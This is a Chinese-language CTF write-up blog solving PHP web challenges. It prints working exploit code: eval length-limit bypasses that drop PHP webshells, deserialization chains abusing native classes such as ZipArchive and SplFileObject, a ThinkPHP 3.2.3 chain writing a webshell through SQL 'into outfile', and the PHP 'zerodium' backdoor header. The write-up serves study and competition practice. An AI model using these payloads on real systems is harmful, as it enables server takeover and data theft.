这一周比赛有点多..也没给复现的机会,其中两个利用php原生类的反序列化还挺有意思的。
NEPCTF
和校赛出题时间有些冲突了,其实题目质量还不错,不是很难,可惜也不能复现。
little_trick
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>
关于len
这个点还挺好说的,-1就绕了,那么题目就变成了限制长度为12的命令执行。方法还挺多的。
solution 1
之前总结过一次限制长度4或5的命令执行,4和5都可以了,那12自然不在话下,这里就不过多阐述了。
solution 2
事实上这题没那么麻烦,因为我们可控制字符还是比较长的,我们先测试一下:
?nep=`ls>z`;&len=7
访问一下z
我们发现了
index.php
nep.php
z
很明显flag就在nep.php
里,那只需
>cat
*>z
再访问z
即可。
solution3
总的来说长度还是很长的。
?nep=`$_GET[a]`;1&len=-1&a=echo "<?php eval(\$_POST[theoyu]);">theoyu.php
solution4
这个是看一位老哥的wp时发现的,确实巧妙。
首先鉴于php的弱类型,intval
会把字符串数字后给截断,导致比如7;agawg
识别为7,然后里用?nep=$len
达到内联执行的效果。
?nep=`$len`;&len=7;echo "<?php @eval(\$_POST[theoyu])?>" > theoyu.php
梦里花开牡丹亭
考察php原生类的利用
源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}
第一步当然是利用open
函数去读一下shell.php
,注意php文件内容的读取都需要用伪协议。
<?php
class Game
{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->register='admin';
$this->username='admin';
$this->password='admin';
$this->file=new Open;
$this->filename='php://filter/read=convert.base64-encode/resource=shell';
$this->content='';
}
}
class Open
{
}
$demo=new Game;
echo base64_encode(serialize($demo))."\n";
?>
a和b的绕过用数组即可。
拿到shell.php
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
重新回到index.php,发现要想命令执行,需要把当前目录下的waf.txt
给删除才行,index.php
中可以利用的点不多,我们遍历一下:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__wakeup',
'open',
))) {
print $class . '::' . $method . "\n";
}
}
}
其中ZipArchive::open
,如果指定参数为ZIPARCHIVE::OVERWRITE
,则会对源文件进行重覆盖,
同时我们关注红框里的一句话,如果文件为空则无效,我们就可以利用这个删除waf.txt
。
<?php
class Game
{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->register='admin';
$this->username='admin';
$this->password='admin';
$this->file=new ZipArchive;
$this->filename='waf.txt';
$this->content=ZipArchive::OVERWRITE;
}
}
class Open
{
}
$demo=new Game;
echo base64_encode(serialize($demo))."\n";
?>
之后就是命令执行,这个绕过的条件太宽裕了,就不说了。
<?php
class Game
{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->register='admin';
$this->username='admin';
$this->password='admin';
$this->file=new Open;
$this->filename='';
$this->content='ls /';
}
}
class Open
{
}
$demo=new Game;
echo base64_encode(serialize($demo))."\n";
?>
MAR DASCTF
ez_serialize
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;
}
感觉就是利用原生类去读取文件了,在手册以下几个类需要注意:
DirectoryIterator | 遍历目录 |
---|---|
FilesystemIterator | 遍历目录 |
SplFileObject | 读取文件,按行读取,多行需要遍历 |
然后就是读目录,读文件的操作了:
<?php
class A{
public $class='FilesystemIterator';
public $para="/var/www/html";
public $check;
}
$o = new A();
echo serialize($o);
<?php
class A{
public $class='SplFileObject';
public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
public $check;
}
$o = new A();
echo serialize($o);
红明谷
Write_shell
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
默认是开启了短标签,那么
?action=upload&data=<?=`ls`?>
是ok的 因为空格被过滤了,我们需要找到代替空格的地方。
测试以下代替空格都可以:
%09
\$IFS
\t
后面就直接读flag即可。
Easytp
感觉今后还是得审一下框架,不让就只会那别人的exp也没什么意思。
看到THINK_VERSION = '3.2.3';
,就直接去找链子打了。然后看到了这一篇文章,改了改选择传马。
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true,
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=1;select '<?php eval(\$_POST[theoyu]);?>' into outfile '/var/www/html/theoyu.php';#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "url",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
CURLOPT_HTTPHEADER => array(
"Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
}
上去后在根目录发现flag应该是藏在数据库里,不知道是不是蚁剑的原因,数据库一直连不上,后来传了一个冰蝎才连接好,结果flag还是读取不了,导出flag表然后又可以把flag给导出来了?
总之就是不知道自己在干嘛,为什么这里不行?为什么又行了?Maybe this is the tragedy of script kiddies。
虎符
签到
给了提示,前不久爆的php后门
User-agentt:Zerodiumsystem('cat /flag');
unsetme
搜了一下是fatfree
框架,上github把源码下了下来,把index.php换成题目。
<?php
// Kickstart the framework
$f3=require('lib/base.php');
$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();
运行发现base.php
中的一个eval()
函数有报错,我们跟进看一下。
函数调用应该是这里,我们在在前面加上一个var_dump('unset('.$val.');');
,用于调试。
有了输出就好说,看能不能把括号闭合一下。
测试发现要关闭)
,得先关闭]
后面就是命令执行拿flag了。
思考
这几个比赛不会的还是很多,特别是注入这一块实在不行,不给复现也实在比较难受,今后可能会在框架漏洞上多花一下功夫..java?还是算了吧。